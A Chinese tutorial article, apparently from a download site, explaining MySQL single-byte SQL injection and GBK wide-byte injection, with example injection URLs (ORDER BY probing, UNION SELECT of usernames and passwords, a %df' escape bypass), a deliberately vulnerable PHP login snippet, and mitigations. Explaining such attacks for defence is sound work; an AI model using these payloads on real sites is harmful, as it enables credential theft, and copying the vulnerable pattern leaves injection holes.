IT貓撲網(wǎng):您身邊最放心的安全下載站! 最新更新|軟件分類|軟件專題|手機(jī)版|論壇轉(zhuǎn)貼|軟件發(fā)布

您當(dāng)前所在位置: 首頁(yè)數(shù)據(jù)庫(kù)MYSQL → MySQL中SQL的單字節(jié)注入與寬字節(jié)注入

MySQL中SQL的單字節(jié)注入與寬字節(jié)注入

時(shí)間:2015-06-28 00:00:00 來(lái)源:IT貓撲網(wǎng) 作者:網(wǎng)管聯(lián)盟 我要評(píng)論(0)

一、單字節(jié)SQL注入

MYSQL的SQL注入已經(jīng)由來(lái)已久,以下是普遍采用的注入步驟:

1、在GET參數(shù)上加一個(gè)/*或者#(mysql專有的注釋),判斷數(shù)據(jù)庫(kù)是否是mysql,比如:
http://www.xxx.com.cn/article.php?id=1607 and 1=1/*

2、猜解某表的字段數(shù),從order by 1一直更改到頁(yè)面出錯(cuò)為止,就可以得到該表的字段數(shù)

注入U(xiǎn)RL:http://www.xxx.com.cn/article.php?id=1607 or 1=1 order by 10#

對(duì)應(yīng)的SQL: select * from articles where id=1607 or 1=1 order by 10#….


3、使用該表和用戶表進(jìn)行關(guān)聯(lián)查詢,在文章列表里就可以看到用戶名和密碼了。當(dāng)也要猜解用戶表的表名和用戶名、密碼的字段名,比如上一步得到的字段數(shù)是5:

注入的URL:http://www.xxx.com.cn/article.php?id=1607 or 1=1 union select? username,password,1,2,3 from user

對(duì)應(yīng)的SQL: select * from articles where id=1607 or 1=1? union select? username,password,1,2,3 from user


這樣就可以在界面上看到用戶名和密碼了。

解決方法:

過(guò)濾數(shù)據(jù):這并不是羅唆。在合適的地方使用良好的數(shù)據(jù)過(guò)濾,可以減小多數(shù)安全隱患,甚至可以消除其中的一部分。

將數(shù)據(jù)用括號(hào)包含:如果你的數(shù)據(jù)庫(kù)允許(MySQL 允許),在 SQL 語(yǔ)句中,不論什么類型的數(shù)據(jù)都用單引號(hào)包含起來(lái)。

轉(zhuǎn)義數(shù)據(jù):一些合法的數(shù)據(jù)可能在無(wú)意中破壞 SQL 語(yǔ)句本身的格式。使用 mysql_escape_string() 或者所使用數(shù)據(jù)庫(kù)提供的轉(zhuǎn)移函數(shù)。如果沒(méi)有提供這樣的函數(shù),addslashes() 也是不錯(cuò)的最后選擇。

二、寬字節(jié)注入

寬字節(jié)注入也是在最近的項(xiàng)目中發(fā)現(xiàn)的問(wèn)題,大家都知道%df’ 被PHP轉(zhuǎn)義(開(kāi)啟GPC、用addslashes函數(shù),或者icov等),單引號(hào)被加上反斜杠\,變成了 %df\’,其中\(zhòng)的十六進(jìn)制是 %5C ,那么現(xiàn)在 %df\’ = %df%5c%27,如果程序的默認(rèn)字符集是GBK等寬字節(jié)字符集,則MYSQL用GBK的編碼時(shí),會(huì)認(rèn)為 %df%5c 是一個(gè)寬字符,也就是縗’,也就是說(shuō):%df\’ = %df%5c%27=縗’,有了單引號(hào)就好注入了。比如:

以下為引用的內(nèi)容:

$conn = mysql_connect("localhost","root","2sdfxedd");
mysql_query("SET NAMES ‘GBK’");
mysql_select_db("test",$conn);
$user = mysql_escape_string($_GET['user']);
$pass = mysql_escape_string($_GET['pass']);
$sql = "select * from cms_user where username = ‘$user’ and password=’$pass’";
$result = mysql_query($sql,$conn);
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
$rows[] = $row;
}
?>


則通過(guò)以下注入即可:

http://www.xxx.com/login.php?user=%df’%20or%201=1%20limit%201,1%23&pass=

對(duì)應(yīng)的SQL是:

select * from cms_user where username = ‘運(yùn)’ or 1=1 limit 1,1#’ and password="

解決方法:就是在初始化連接和字符集之后,使用SET character_set_client=binary來(lái)設(shè)定客戶端的字符集是二進(jìn)制的。如:

以下為引用的內(nèi)容:

mysql_query("SET character_set_client=binary");

關(guān)鍵詞標(biāo)簽:MySQL,SQL

相關(guān)閱讀

文章評(píng)論
發(fā)表評(píng)論

熱門文章 Xbox Game Pass Xbox Game Pass 10款MySQL數(shù)據(jù)庫(kù)客戶端圖形界面管理工具推薦 10款MySQL數(shù)據(jù)庫(kù)客戶端圖形界面管理工具推薦 MySQL常用維護(hù)管理工具 MySQL常用維護(hù)管理工具 MySQL數(shù)據(jù)庫(kù)啟動(dòng)失敗1067進(jìn)程意外終止的解決辦法總結(jié) MySQL數(shù)據(jù)庫(kù)啟動(dòng)失敗1067進(jìn)程意外終止的解決辦法總結(jié)

相關(guān)下載

    人氣排行 10款MySQL數(shù)據(jù)庫(kù)客戶端圖形界面管理工具推薦 MySQL數(shù)據(jù)庫(kù)啟動(dòng)失敗1067進(jìn)程意外終止的解決辦法總結(jié) Mysql 1045錯(cuò)誤解決辦法 MySQL服務(wù)器進(jìn)程CPU占用100%解決辦法 MySQL導(dǎo)出導(dǎo)入命令的用例 MySQL連接字符串的實(shí)際操作步驟匯總 MySQL無(wú)法啟動(dòng)、無(wú)法停止各種解決方法總結(jié) 三種常用的MySQL建表語(yǔ)句